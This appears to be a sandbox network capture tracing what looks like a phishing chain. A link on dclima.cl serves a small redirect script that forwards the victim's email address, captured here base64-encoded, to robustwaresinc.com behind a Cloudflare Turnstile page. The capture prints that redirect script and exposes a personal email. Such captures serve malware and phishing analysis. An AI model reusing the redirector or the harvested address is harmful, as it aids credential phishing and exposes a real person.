2024-11-21 13:44:07 UTC	5227	IN	Data Raw: 7b 22 73 75 72 66 61 63 65 73 22 3a 7b 22 44 43 5f 52 65 61 64 65 72 5f 48 6f 6d 65 5f 4c 48 50 5f 54 72 69 61 6c 5f 42 61 6e 6e 65 72 22 3a 7b 22 63 6f 6e 74 61 69 6e 65 72 73 22 3a 5b 7b 22 63 6f 6e 74 61 69 6e 65 72 49 64 22 3a 31 2c 22 63 6f 6e 74 61 69 6e 65 72 4c 61 62 65 6c 22 3a 22 4a 53 4f 4e 20 66 6f 72 20 44 43 5f 52 65 61 64 65 72 5f 48 6f 6d 65 5f 4c 48 50 5f 54 72 69 61 6c 5f 42 61 6e 6e 65 72 22 2c 22 64 61 74 61 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 22 64 61 74 61 22 3a 22 65 79 4a 6a 64 47 45 69 4f 6e 73 69 64 47 56 34 64 43 49 36 49 6c 52 79 65 53 42 42 59 33 4a 76 59 6d 46 30 49 46 42 79 62 79 4a 39 4c 43 4a 31 61 53 49 36 65 79 4a 30 61 58 52 73 5a 56 39 7a 64 48 6c 73 61 57 35 6e 49 6a 70 37 49 6d Data Ascii: {"surfaces":{"DC_Reader_Home_LHP_Trial_Banner":{"containers":[{"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","dataType":"application/json","data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7Im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49715	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:08 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 13:44:09 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=183641 Date: Thu, 21 Nov 2024 13:44:09 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 13:44:09 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49717	23.195.76.153	443	6344	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:11 UTC	390	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br
2024-11-21 13:44:11 UTC	247	IN	HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Accept-Ranges: bytes Content-Length: 120 Content-Type: text/plain; charset=UTF-8 Date: Thu, 21 Nov 2024 13:44:11 GMT Connection: close
2024-11-21 13:44:11 UTC	120	IN	Data Raw: 46 69 6c 65 20 74 68 61 74 20 61 63 74 73 20 6c 69 6b 65 20 61 20 4b 69 6c 6c 20 73 77 69 74 63 68 20 66 6f 72 20 53 4d 53 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 69 6e 20 52 65 61 64 65 72 2e 20 44 65 6c 65 74 65 20 74 68 69 73 20 66 69 6c 65 20 74 6f 20 65 6e 61 62 6c 65 20 74 68 65 20 6b 69 6c 6c 20 73 77 69 74 63 68 20 69 6e 20 52 65 61 64 65 72 2e Data Ascii: File that acts like a Kill switch for SMS functionality in Reader. Delete this file to enable the kill switch in Reader.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49724	45.239.218.70	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:24 UTC	691	OUT	GET /.pdf/encryption/00152689/php/connection HTTP/1.1 Host: dclima.cl Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:25 UTC	384	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 21 Nov 2024 13:43:58 GMT location: https://dclima.cl/.pdf/encryption/00152689/php/connection/ alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-21 13:44:25 UTC	707	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49726	45.239.218.70	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:27 UTC	692	OUT	GET /.pdf/encryption/00152689/php/connection/ HTTP/1.1 Host: dclima.cl Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:27 UTC	340	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.30 content-type: text/html; charset=UTF-8 content-length: 237 date: Thu, 21 Nov 2024 13:44:00 GMT alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-21 13:44:27 UTC	237	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 75 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 20 2b 20 31 3b 0a 20 20 20 20 76 61 72 20 64 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 73 75 62 73 74 72 69 6e 67 28 75 29 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 73 3a 2f 2f 72 6f 62 75 73 74 77 61 72 65 73 69 6e 63 2e 63 6f 6d 2f 3f 72 65 62 7a 71 6e 63 77 3f 26 65 6d 61 69 6c 3d 22 20 2b 20 64 29 3b 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e 20 Data Ascii: <html> <body></body> <script> var u = window.location.href.lastIndexOf("/") + 1; var d = window.location.href.substring(u); window.location.replace("https://robustwaresinc.com/?rebzqncw?&email=" + d); </script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49728	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:29 UTC	717	OUT	GET /?rebzqncw?&email=a2VsbHliQGNody1pbmMuY29t HTTP/1.1 Host: robustwaresinc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://dclima.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:29 UTC	451	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=aTEfjsxvMgjh; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; path=/; samesite=none; secure; httponly location: /?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Date: Thu, 21 Nov 2024 13:44:29 GMT Connection: close Transfer-Encoding: chunked
2024-11-21 13:44:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49727	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:29 UTC	910	OUT	GET /?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t HTTP/1.1 Host: robustwaresinc.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://dclima.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
2024-11-21 13:44:30 UTC	142	IN	HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Date: Thu, 21 Nov 2024 13:44:30 GMT Connection: close Transfer-Encoding: chunked
2024-11-21 13:44:30 UTC	3272	IN	Data Raw: 63 62 63 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 0a 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d Data Ascii: cbc<!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49729	104.18.95.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:31 UTC	577	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:32 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 21 Nov 2024 13:44:32 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/22755d9a86c9/api.js Server: cloudflare CF-RAY: 8e611d709b55c3ff-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49730	104.18.95.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:33 UTC	561	OUT	GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:33 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:33 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Mon, 28 Oct 2024 19:08:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e611d7b59f70f7f-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:33 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-11-21 13:44:33 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-21 13:44:33 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-11-21 13:44:33 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-11-21 13:44:34 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-11-21 13:44:34 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-11-21 13:44:34 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-11-21 13:44:34 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 